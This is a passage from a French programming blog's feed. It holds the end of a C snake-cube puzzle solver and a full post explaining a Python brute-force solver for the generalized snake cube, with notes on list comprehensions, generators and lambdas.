    volume_helper-&gt;path_length = 0;
}

void init() {
    int i;
    volume_size = 1;
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        volume_size *= dimensions[i];
    }
    structure_length = 0;
    for (i = 0; i &lt; STRUCTURE_VECTOR_COUNT; i++) {
        structure_length += structure[i];
    }
    symmetry_helper_init(&#038;symmetry_helper);
    volume_helper_init(&#038;volume_helper);
}

char * vector_to_string(vector_s vector) {
    char * string = (char *) malloc(5 * sizeof(char));
    char * variable = get_variable(vector.position);
    char * canonical_number = get_canonical_number(vector.value);
    sprintf(string, "%s%s", canonical_number, variable);
    free(variable);
    free(canonical_number);
    return string;
}

char * get_variable(char position) {
    char * variable = (char *) malloc(3 * sizeof(char));
    if (position &lt; VARIABLES_COUNT) {
        sprintf(variable, "%c", variables[position]);
    } else {
        sprintf(variable, "k%i", position - VARIABLES_COUNT);
    }
    return variable;
}

char * get_canonical_number(char number) {
    char * canonical_number = (char *) malloc(3 * sizeof(char));
    if (number == (char) 1) {
        sprintf(canonical_number, "");
    } else if (number == (char) -1) {
        sprintf(canonical_number, "-");
    } else {
        sprintf(canonical_number, "%i", number);
    }
    return canonical_number;
}

char * cursor_to_string(int cursor[]) {
    char * result = (char *) malloc(255 * sizeof(char));
    char * s = result;
    int i;
    s += sprintf(s, "(");
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        if (i != 0) {
            s += sprintf(s, ", ");
        }
        s += sprintf(s, "%i", cursor[i]);
    }
    s += sprintf(s, ")");
    return result;
}

void volume_helper_set_cursor(int cursor[]) {
    volume_helper_set_flag(volume_helper.init_cursor, false);
    memcpy(volume_helper.init_cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    memcpy(volume_helper.cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    volume_helper_set_flag(cursor, true);
}

bool * volume_helper_get_flag_pointer(int cursor[]) {
    bool * p_flag = volume_helper.flags;
    int product = 1;
    int i;
    for (i = DIMENSIONS_COUNT - 1; i &gt;= 0; i--) {
        p_flag += cursor[i] * product;
        product *= dimensions[i];
    }
    return p_flag;
}

bool volume_helper_get_flag(int cursor[]) {
    return * volume_helper_get_flag_pointer(cursor);
}

void volume_helper_set_flag(int cursor[], bool value) {
    * volume_helper_get_flag_pointer(cursor) = value;
}

bool volume_helper_can_move(vector_s vector) {
    int cursor_position_value = volume_helper.cursor[vector.position];
    int new_value = cursor_position_value + vector.value;
    int future_cursor[DIMENSIONS_COUNT];
    int sign, i, abs_value;
    if (new_value &lt; 0 || new_value &gt;= dimensions[vector.position]) {
        return false;
    }
    memcpy(future_cursor, volume_helper.cursor, DIMENSIONS_COUNT * sizeof(int));
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        future_cursor[vector.position] += sign;
        if (volume_helper_get_flag(future_cursor)) {
            return false;
        }
    }
    return true;
}

void volume_helper_move(vector_s vector) {
    int sign, i, abs_value;
    volume_helper_append_vector_in_path(vector);
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        volume_helper.cursor[vector.position] += sign;
        volume_helper_set_flag(volume_helper.cursor, true);
    }
}

void volume_helper_back() {
    int sign, i, abs_value;
    vector_s vector = volume_helper_pop_vector_in_path();
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        volume_helper_set_flag(volume_helper.cursor, false);
        volume_helper.cursor[vector.position] += -sign;
    }
}

void volume_helper_append_vector_in_path(vector_s vector) {
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    memcpy(current_vector, &#038;vector, sizeof(vector_s));
    volume_helper.path_length ++;
}

vector_s volume_helper_pop_vector_in_path() {
    volume_helper.path_length --;
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    vector_s vector;
    memcpy(&#038;vector, current_vector, sizeof(vector));
    return vector;
}

void symmetry_helper_init_eq_classes_from_dimensions() {
    // eq_classes from dimensions is the first item of eq_classes_path
    int * eq_classes = symmetry_helper.eq_classes_path;
    int i, j;
    int value;
    bool found;
    for (i = 1; i &lt; DIMENSIONS_COUNT; i++) {
        value = dimensions[i];
        j = 0;
        found = false;
        while (j &lt; i &#038;&#038; !found) {
            if (dimensions[j] == value) {
                eq_classes[i] = j;
                found = true;
            } else {
                j++;
            }
        }
        if (!found) {
            eq_classes[j] = j;
        }
    }
    symmetry_helper.eq_classes = eq_classes;
}

bool symmetry_helper_inc_cursor(int cursor[]) {
    return symmetry_helper_inc_cursor_rec(cursor, DIMENSIONS_COUNT - 1);
}

bool symmetry_helper_inc_cursor_rec(int cursor[], int index) {
    int * eq_classes = symmetry_helper.eq_classes_path;
    int value = cursor[index];
    int i;
    if (value &lt; (dimensions[index] - 1) / 2) {
        // the last coordinate can be incremented
        cursor[index] ++;
        return true;
    }
    // we must increment recursively the previous coordinate
    if (index == 0) {
        // there is no more coordinate to increment
        return false;
    }
    i = index - 1;
    if (!symmetry_helper_inc_cursor_rec(cursor, i)) {
        return false;
    }
    while (i &gt;= 0 &#038;&#038; eq_classes[i] != eq_classes[index]) {
        i--;
    }
    if (i &gt;= 0) {
        // coordinate value must at least equals the previous coordinates
        // in the same equivalence class
        cursor[index] = cursor[i];
    } else {
        cursor[index] = 0;
    }
    return true;
}

void symmetry_helper_set_cursor(int cursor[]) {
    int * eq_classes_path = symmetry_helper.eq_classes_path;
    int * cursor_eq_classes = symmetry_helper.eq_classes_path + DIMENSIONS_COUNT;
    int i, j, old_class;

    symmetry_helper.eq_classes = cursor_eq_classes;
    // copy the eq_classes computed from the dimensions into the next segment
    memcpy(cursor_eq_classes, eq_classes_path, DIMENSIONS_COUNT * sizeof(int));
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        if (cursor_eq_classes[i] != i &#038;&#038; !eq_cmp(cursor_eq_classes[i], cursor[i], dimensions[i])) {
            old_class = cursor_eq_classes[i];
            cursor_eq_classes[i] = i;
            for (j = i + 1; j &lt; DIMENSIONS_COUNT; j++) {
                if (cursor_eq_classes[j] == old_class) {
                    cursor_eq_classes[j] = i;
                }
            }
        }
    }
}

void symmetry_helper_move(vector_s vector) {
    int position = vector.position;
    int * previous_eq_classes = symmetry_helper.eq_classes;
    int * new_eq_classes = previous_eq_classes + DIMENSIONS_COUNT;

    int new_eq_class = -1;
    int i;
    memcpy(new_eq_classes, previous_eq_classes, DIMENSIONS_COUNT * sizeof(int));
    for (i = position + 1; i &lt; DIMENSIONS_COUNT; i++) {
        if (new_eq_classes[i] == position) {
            if (new_eq_class == -1) {
                new_eq_class = i;
            }
            new_eq_classes[i] = new_eq_class;
        }
    }
    symmetry_helper.eq_classes = new_eq_classes;
}

void symmetry_helper_back() {
    symmetry_helper.eq_classes -= DIMENSIONS_COUNT;
}

bool symmetry_helper_must_explore(int i) {
    return symmetry_helper.eq_classes[i] == i;
}

bool eq_cmp(int p1, int p2, int dim) {
    return p1 == p2 || p1 + p2 + 1 == dim;
}

bool solve() {
    int cursor[DIMENSIONS_COUNT] = {}; // init with zeros
    int i;
    if (structure_length + 1 != volume_size) {
        fprintf(stderr,
                "Structure has not the right length (%i instead of %i)\n",
                structure_length, volume_size);
        return false;
    }

    do {
        volume_helper_set_cursor(cursor);
        symmetry_helper_set_cursor(cursor);
        if (!solve_rec(cursor, 0)) {
            return false;
        }
    } while (symmetry_helper_inc_cursor(cursor));

    // explored all possible solutions
    return true;
}

bool solve_rec(int init_cursor[], int step) {
    int previous_position;
    int norm = structure[step];
    int vector_value;
    int i, k;
    vector_s possible_vector;
    if (step == STRUCTURE_VECTOR_COUNT) {
        if (!solution(volume_helper.init_cursor, volume_helper.path)) {
            // stop searching for new solutions
            return false;
        }
    } else {
        if (volume_helper.path_length == 0) {
            previous_position = -1;
        } else {
            previous_position = volume_helper.path[volume_helper.path_length -1].position;
        }
        for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
            if (i != previous_position &#038;&#038; symmetry_helper_must_explore(i)) {
                for (k = 0; k &lt; 2; k++) {
                    vector_value = k == 0 ? norm : -norm;
                    possible_vector = new_vector(i, vector_value);
                    if (volume_helper_can_move(possible_vector)) {
                        volume_helper_move(possible_vector);
                        symmetry_helper_move(possible_vector);
                        if (!solve_rec(init_cursor, step + 1)) {
                            return false;
                        }
                        volume_helper_back();
                        symmetry_helper_back();
                    }
                }
            }
        }
    }
    return true;
}

bool solution(int * init_cursor, vector_s * path) {
    int i;
    char * vector_string;
    vector_s vector;
    printf("(%s, [", cursor_to_string(init_cursor));
    for (i = 0; i &lt; STRUCTURE_VECTOR_COUNT; i++) {
        if (i != 0) {
            printf(", ");
        }
        vector = path[i];
        vector_string = vector_to_string(vector);
        printf("%s", vector_string);
        free(vector_string);
    }
    printf("])\n");
    // stop after the first solution
    return false;
}

int main(void) {
    init();
    solve();
    exit(0);
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Résoudre le cube-serpent en Python</title>
		<link>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/</link>
		<comments>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 21:10:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2954</guid>
		<description><![CDATA[Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre). Mon but était surtout d&#8217;apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c&#8217;est de la force brute). Il m&#8217;a permis de découvrir différents aspects de Python. Je [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg" alt="" title="cube-serpent" width="218" height="191" class="alignright size-full wp-image-2964" /></a></p>
<p>Je me suis amusé à écrire un petit programme en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> qui résout le <a href="http://fr.wikipedia.org/wiki/Cube_serpent">cube-serpent</a> (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre).<br />
Mon but était surtout d&#8217;apprendre le langage <em>Python</em>, avec un problème intéressant, pas trop compliqué (c&#8217;est de la <a href="http://fr.wikipedia.org/wiki/Recherche_par_force_brute">force brute</a>). Il m&#8217;a permis de découvrir différents aspects de <em>Python</em>.<br />
<ins datetime="2011-10-19T00:00:00+01:00">Je l&#8217;ai également <a href="http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/">implémenté en C</a>.</ins></p>
<p>L&#8217;algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d&#8217;autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en <a href="http://fr.wikipedia.org/wiki/Hypercube">hypercube</a>…</p>
<p>Je vais d&#8217;abord présenter le problème et décrire l&#8217;algorithme de résolution et survoler l&#8217;implémentation, puis je vais m&#8217;attarder sur certaines fonctionnalités de <em>Python</em> qui m&#8217;ont semblé très intéressantes.</p>
<h3>Résolution</h3>
<h4>Problème</h4>
<p>Le but est de replier la structure du serpent pour qu&#8217;elle forme un volume, par exemple un cube.</p>
<p>La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur <a href="http://fr.wikipedia.org/wiki/Fichier:Snakecube_1.jpg">Wikipedia</a> est la suivante&nbsp;:</p>
<pre>[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]</pre>
<p>Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d&#8217;orientation dans l&#8217;espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube&nbsp;: il y a donc 27 sommets pour un cube 3×3×3.</p>
<p>L&#8217;objectif est de trouver un <a href="http://fr.wikipedia.org/wiki/Graphe_hamiltonien#Chemin_hamiltonien">chemin hamiltonien</a> (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.</p>
<h4>Principe</h4>
<p>Pour trouver les solutions, il suffit de partir d&#8217;un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes&nbsp;:</p>
<ul>
<li>rester dans le volume (évidemment)&nbsp;;</li>
<li>le n<sup>ième</sup> vecteur doit être orthogonal au (n-1)<sup>ième</sup> vecteur (cette règle ne s&#8217;applique pas pour le tout premier vecteur)&nbsp;;</li>
<li>le vecteur &laquo;&nbsp;placé&nbsp;&raquo; dans le cube ne doit pas passer par une position déjà occupée (physiquement, il n&#8217;est pas possible de faire passer une partie du serpent à travers une autre).</li>
</ul>
<p>Il faut donc placer récursivement tous les vecteurs possibles, c&#8217;est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu&#8217;à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).</p>
<p>Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).</p>
<h4>Limites</h4>
<p>Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions &laquo;&nbsp;identiques&nbsp;&raquo;. Une amélioration serait de les détecter &laquo;&nbsp;au plus tôt&nbsp;&raquo; et de ne pas les construire.</p>
<p><ins datetime="2011-10-01T00:00:00+01:00">La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d&#8217;explications dans <a href="#comment-72460">ce commentaire</a> et <a href="#comment-72497">le suivant</a>.</ins></p>
<h3>Implémentation</h3>
<p>Voici une explication succincte des différentes parties du programme (pour plus d&#8217;informations, lire les commentaires dans le code).</p>
<h4>Vector</h4>
<p>Nous avons besoins de vecteurs, mais pas n&#8217;importe lesquels&nbsp;: seulement ceux qui ont une et une seule composante non-nulle, c&#8217;est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.</p>
<p>Ainsi, au lieu de stocker toutes les composantes, le <code>Vector</code> ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).</p>
<pre>Vector(position, value)</pre>
<h4>VolumeHelper</h4>
<p>Cette classe définit l&#8217;outil que va utiliser le solveur pour noter tout ce qu&#8217;il fait&nbsp;: le chemin emprunté et les sommets déjà visités. À chaque fois qu&#8217;il place un vecteur dans le volume, il &laquo;&nbsp;allume les petites lumières&nbsp;&raquo; associées aux sommets visités, et quand il revient en arrière (pour chercher d&#8217;autres solutions), il éteint ces petites lumières (par <em>lumières</em>, comprenez <em>booléens</em>).</p>
<h4><ins datetime="2011-10-01T00:00:00+01:00">SymmetryHelper</ins></h4>
<p><ins datetime="2011-10-01T00:00:00+01:00">Cette classe a été ajoutée dans la version 0.2.<br />
Elle définit l&#8217;outil que va utiliser le solveur pour n&#8217;explorer que les solutions nécessaires, en ignorant les symétries et les rotations.</ins></p>
<h4>Solver</h4>
<p>Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s&#8217;aidant du <code>VolumeHelper</code>) afin de trouver toutes les solutions.</p>
<h4>Solutions</h4>
<p>Lors de l&#8217;exécution du script, les solutions s&#8217;affichent au fur et à mesure&nbsp;:</p>
<pre>$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...</pre>
<p>Considérons la première solution&nbsp;:</p>
<pre>([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])</pre>
<p>Le point de départ est <code>[0, 0, 0]</code>. On se déplace d&#8217;abord de <code>2</code> sur l&#8217;axe <code>x</code>, puis de <code>1</code> sur l&#8217;axe <code>y</code>, de <code>-1</code> sur l&#8217;axe <code>x</code>, etc.<br />
Voici la représentation graphique de cette solution&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent-268x300.png" alt="" title="solution-cube-serpent" width="268" height="300" class="aligncenter size-medium wp-image-2972" /></a></p>
<h3>Fonctionnalités de Python</h3>
<p>Maintenant, voici quelques éléments essentiels du langage <em>Python</em> dont je me suis servi pour ce programme.</p>
<h4>Compréhension de liste</h4>
<p>La <a href="http://docs.python.org/tutorial/datastructures.html#list-comprehensions">compréhension de liste</a> (ou <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">liste en compréhension</a>) est très pratique. Je l&#8217;ai utilisée plusieurs fois dans l&#8217;algorithme. Je vais détailler deux exemples.</p>
<p>D&#8217;abord, dans la classe <code>VolumeHelper</code>&nbsp;:</p>
<pre>def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return <strong>([h] + t for h in xrange(self.dimensions[index])</strong>
            <strong>for t in self.all_points(index + 1))</strong></pre>
<p>La partie mise en gras signifie&nbsp;:</p>
<blockquote><p>tous les éléments de la forme <code>[h] + t</code> (l&#8217;élément <code>h</code> en tête de liste suivie de la queue de la liste) pour <code>h</code> compris entre <code>0</code> et <code>self.dimensions[index]</code> (un entier) et pour tout <code>t</code> compris dans les résultats de l&#8217;appel récursif</p></blockquote>
<p>Ça ne vous éclaire pas&nbsp;? Dit plus simplement&nbsp;:</p>
<blockquote><p>le résultat de la concaténation de chacun des nombres de <code>0</code> à <code>n</code> (avec <code>n = self.dimensions[index]</code>) à chacune des listes fournies par l&#8217;appel récursif</p></blockquote>
<p>En fait, cette fonction fournit tous les points possibles pour les dimensions données.<br />
Par exemple, si <code>dimensions = [2, 2]</code>, alors le résultat sera&nbsp;:</p>
<pre>[[0, 0], [0, 1], [1, 0], [1, 1]]</pre>
<p>Pour <code>dimensions = [2, 2, 3]</code>, le résultat sera&nbsp;:</p>
<pre>[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1,
0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]</pre>
<p>Sans compréhension de liste, il serait difficile d&#8217;écrire le corps de cette fonction en 3 lignes&nbsp;!</p>
<p><em>Remarque&nbsp;: la compréhension de liste retourne une liste si elle est définie entre <code>[]</code>, alors qu&#8217;elle retourne un <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">générateur</a> (un </em>itérateur<em>) si elle est définie entre <code>()</code>.</em></p>
<p>Second exemple, dans <code>Solver.__solve_rec(…)</code>&nbsp;:</p>
<pre>for possible_vector in <strong>( Vector(i, v)</strong>
                         <strong>for v in [ norm, -norm ]</strong>
                         <strong>for i in xrange(len(self.dimensions))</strong>
                         <strong>if i != previous_position )</strong>:</pre>
<p>Cette partie fournit un ensemble de <code>Vector(i, v)</code>, pour toutes les combinaisons de <code>i</code> et de <code>v</code> dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur <code>i</code>).<br />
En clair, ici nous récupérons tous les vecteurs possibles, c&#8217;est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.</p>
<h4>Itérateur</h4>
<p>La notion d&#8217;<a href="http://fr.wikipedia.org/wiki/It%C3%A9rateur">itérateur</a> est présente dans beaucoup d&#8217;autres langages. Un <a href="http://docs.python.org/library/stdtypes.html#iterator-types">itérateur</a> retourne un nouvel élément à chaque appel à la méthode <code>next()</code>. En pratique, il est souvent utilisé de manière transparente dans une boucle <code>for <em>variable</em> in <em>iterator</em></code>&nbsp;:</p>
<pre>for i in xrange(10):
    print i</pre>
<p><a href="http://docs.python.org/library/functions.html#xrange"><code>xrange(…)</code></a> retourne un <em>itérateur</em> et fournit les valeurs au fur et à mesure, alors que <a href="http://docs.python.org/library/functions.html#range"><code>range(…)</code></a> crée la liste de toutes les valeurs, qui est ensuite parcourue.</p>
<h4>Yield</h4>
<p>Les <a href="http://docs.python.org/reference/expressions.html#yieldexpr">expressions yield</a> permettent de créer un <em>itérateur</em> très simplement.</p>
<p>Pour résoudre le cube-serpent, il est préférable d&#8217;une part de <strong>fournir les solutions au fur et à mesure qu&#8217;elles sont trouvées</strong>, et d&#8217;autre part <strong>de pouvoir ne calculer que les <em>k</em> premières solutions</strong>.</p>
<p>La première contrainte est souvent résolue grâce à des <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callbacks</a>&nbsp;: la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.</p>
<p>La seconde est plus délicate&nbsp;: elle implique que l&#8217;algorithme s&#8217;arrête dès qu&#8217;il trouve une solution, et que lors d&#8217;un prochain appel il reprenne le calcul là où il s&#8217;était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un <em>itérateur</em> simple comme celui d&#8217;une liste, il suffit de stocker l&#8217;index courant de parcours, et de l&#8217;incrémenter à chaque appel à <code>next()</code>. Gérer manuellement l&#8217;itération sur les solutions du cube-serpent semble beaucoup plus complexe, d&#8217;autant plus que les solutions sont trouvées dans des appels récursifs.</p>
<p>C&#8217;est là qu&#8217;interviennent les expressions <em>yield</em>, qui répondent aux deux besoins en même temps. Utiliser une expression <em>yield</em> dans le corps d&#8217;une fonction suffit à transformer cette fonction en un <em>générateur</em>. Il n&#8217;est donc plus possible de retourner de valeur grâce à <code>return</code>.</p>
<p>Dès que l&#8217;expression <em>yield</em> est rencontrée, la valeur est transmise et l&#8217;exécution de la fonction s&#8217;arrête. Elle reprendra lors du prochain appel.</p>
<p>Afin d&#8217;utiliser ce principe pour la génération des solutions, les fonctions <code>SnakeCubeSolver.solve()</code> et <code>SnakeCubeSolver.__solve_rec(…)</code> ne sont donc pas des fonctions ordinaires, mais des <em>générateurs</em>&nbsp;:</p>
<pre>if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]</pre>
<p>Grâce à cette implémentation, il est possible de parcourir toutes les solutions&nbsp;:</p>
<pre>for solution in solver.solve():
    print solution</pre>
<p>ou alors de ne générer que les <code>k</code> premières&nbsp;:</p>
<pre>max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break</pre>
<h4>Lambdas</h4>
<p><em>Python</em> supporte aussi les expressions <a href="http://docs.python.org/reference/expressions.html#lambda">lambda</a>, issues du <a href="http://fr.wikipedia.org/wiki/Lambda-calcul">lambda-calcul</a>, qui permettent d&#8217;écrire des fonctions anonymes simplement.</p>
<p>J&#8217;utilise cette fonctionnalité une fois dans le programme&nbsp;:</p>
<pre>needed_length = reduce(<strong>lambda x, y: x * y</strong>, self.dimensions) - 1</pre>
<p>Il s&#8217;agit de la déclaration d&#8217;une fonction avec deux arguments, qui retourne leur produit.</p>
<p>La fonction <a href="http://docs.python.org/library/functions.html#reduce"><code>reduce(function, iterable, …)</code></a> permet d&#8217;appliquer cumulativement la fonction aux éléments de l&#8217;<em>iterable</em>, de gauche à droite, de manière à réduire l&#8217;<em>iterable</em> en une seule valeur.<br />
<em>Même si «&nbsp;<a href="http://fr.wikipedia.org/wiki/Nicolas_Boileau">ce qui se conçoit bien s&#8217;énonce clairement</a>&nbsp;», la fonction </em>reduce<em> est bien plus facile à comprendre qu&#8217;à expliquer en quelques mots…</em></p>
<p>Ici, donc, <code>needed_length</code> contient le produit de tous les éléments de la liste <code>self.dimensions</code>.</p>
<h3>Conclusion</h3>
<p>La résolution du cube-serpent est intéressante, tout comme sa généralisation à n&#8217;importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations &laquo;&nbsp;au plus tôt&nbsp;&raquo; serait une amélioration non négligeable (et pas si évidente).</p>
<p>Débutant tout juste en <em>Python</em>, ce micro-projet m&#8217;a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions <em>yield</em> que je ne connaissais pas.</p>
<p>J&#8217;espère que ça vous a amusé aussi.</p>
<h3>Script</h3>
<p><ins datetime="2011-10-01T00:00:00+01:00">J&#8217;ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/snakesolver/">ici</a>.</ins><br />
Voici le code source. Il est également disponible ici&nbsp;: <a href="http://dl.rom1v.com/snakesolver/snakesolver-0.2.1.py">snakesolver-0.2.1.py</a>.</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# snakesolver v0.2.1, 5th october 2011
#
# changelog:
#   0.2.1
#     - get_useful_points() did not work for non-(hyper-)cubic volumes
#   0.2
#     - give all the solutions ignoring those which are equivalent by symmetry
#       or rotation
#   0.1
#     - initial version
#
# Solver for generalized snake-cube:
# http://en.wikipedia.org/wiki/Snake_cube
# http://fr.wikipedia.org/wiki/Cube_serpent
#
# By Romain Vimont (®om)
#   rom@rom1v.com

# snake structure (list of consecutives vector norms)
# Wikipedia example
SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

# size of each dimension of the target volume
VOLUME_DIMENSIONS = [3, 3, 3]

# first variable names, the next will be k1, k2, k3...
VARIABLES = ['x', 'y', 'z', 't']

class Vector:

    """Base vector, with only one non-zero value."""

    def __init__(self, position, value):
        """Create a new base vector.

        Examples:
          - 2 dimensions:
              Vector(0, 2) means (2, 0)
              Vector(1, 3) means (0, 3)
          - 3 dimensions:
              Vector(0, 2) means (2, 0, 0)
              Vector(1, 3) means (0, 3, 0)
          - n dimensions:
              Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0)
        """
        self.position = position
        self.value = value

    @staticmethod
    def __get_variable(position):
        """Returns the variable name associated to position.

        Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...].
        """
        if position &lt; len(VARIABLES):
            return VARIABLES[position]
        return 'k' + str(position - len(VARIABLES) + 1)

    @staticmethod
    def __get_canonical(number):
        """Removes the 1 if number is 1 or -1.

        Used for formatting …, -3x, -2x, -x, x, 2x, 3x, …
        """
        if number == 1:
            return ''
        if number == -1:
            return '-'
        return str(number)

    def __repr__(self):
        return Vector.__get_canonical(self.value) +\
               Vector.__get_variable(self.position)

class VolumeHelper:

    """Volume helper for the solver.

    A volume must be considered as an "hyper-volume", it can have any number of
    dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3
    is an hypercube.

    Keep a flags volume (1 boolean per "point"), indicating if the case is
    already filled.
    """

    def __init__(self, dimensions):
        """Create a volume helper.

        Keyword arguments:
        dimensions -- the dimensions of the target volume (e.g. [3, 3, 3])
        init_cursor -- the starting position in the volume (e.g. [0, 0, 0])
        """
        self.dimensions = dimensions
        self.path = []
        self.flags = VolumeHelper.__create_volume_flags(dimensions)
        self.init_cursor = None

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\
                                    'middle of a path calculation'
        if self.init_cursor is not None:
            # set to False the flag for the old cursor
            self.__set_flag(self.init_cursor, False)
        self.init_cursor = cursor[:]
        self.cursor = self.init_cursor
        self.__set_flag(self.cursor, True)

    def __get_flag(self, cursor):
        """Return the flag for the specified cursor."""
        tmp = self.flags
        # dereference n times
        for i in xrange(len(cursor)):
            tmp = tmp[cursor[i]]
        # after the last iteration, tmp contains the value
        return tmp

    def __set_flag(self, cursor, value):
        """Change the flag for the specified cursor."""
        tmp = self.flags
        for i in xrange(len(cursor) - 1):
            tmp = tmp[cursor[i]]
        tmp[cursor[-1]] = value

    def can_move(self, vector):
        """Indicates if it is possible to move the cursor by the move defined
        by the vector."""

        # the new vector will change the cursor at position vector.position,
        # adding vector.value
        # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2),
        # then cursor will take the value [1, 2, 2]
        cursor_position_value = self.cursor[vector.position]
        new_value = cursor_position_value + vector.value
        if new_value &lt; 0 or new_value &gt;= self.dimensions[vector.position]:
            # outside volume
            return False

        # copy the cursor for not modifying the real one
        future_cursor = self.cursor[:]
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            future_cursor[vector.position] += sign
            # if the flag at future_cursor is already True, then we cannot move
            # to this case, it is already filled
            if self.__get_flag(future_cursor):
                return False
        return True

    def move(self, vector):
        """Move the cursor by the vector, and updates flags and path."""
        self.path.append(vector)
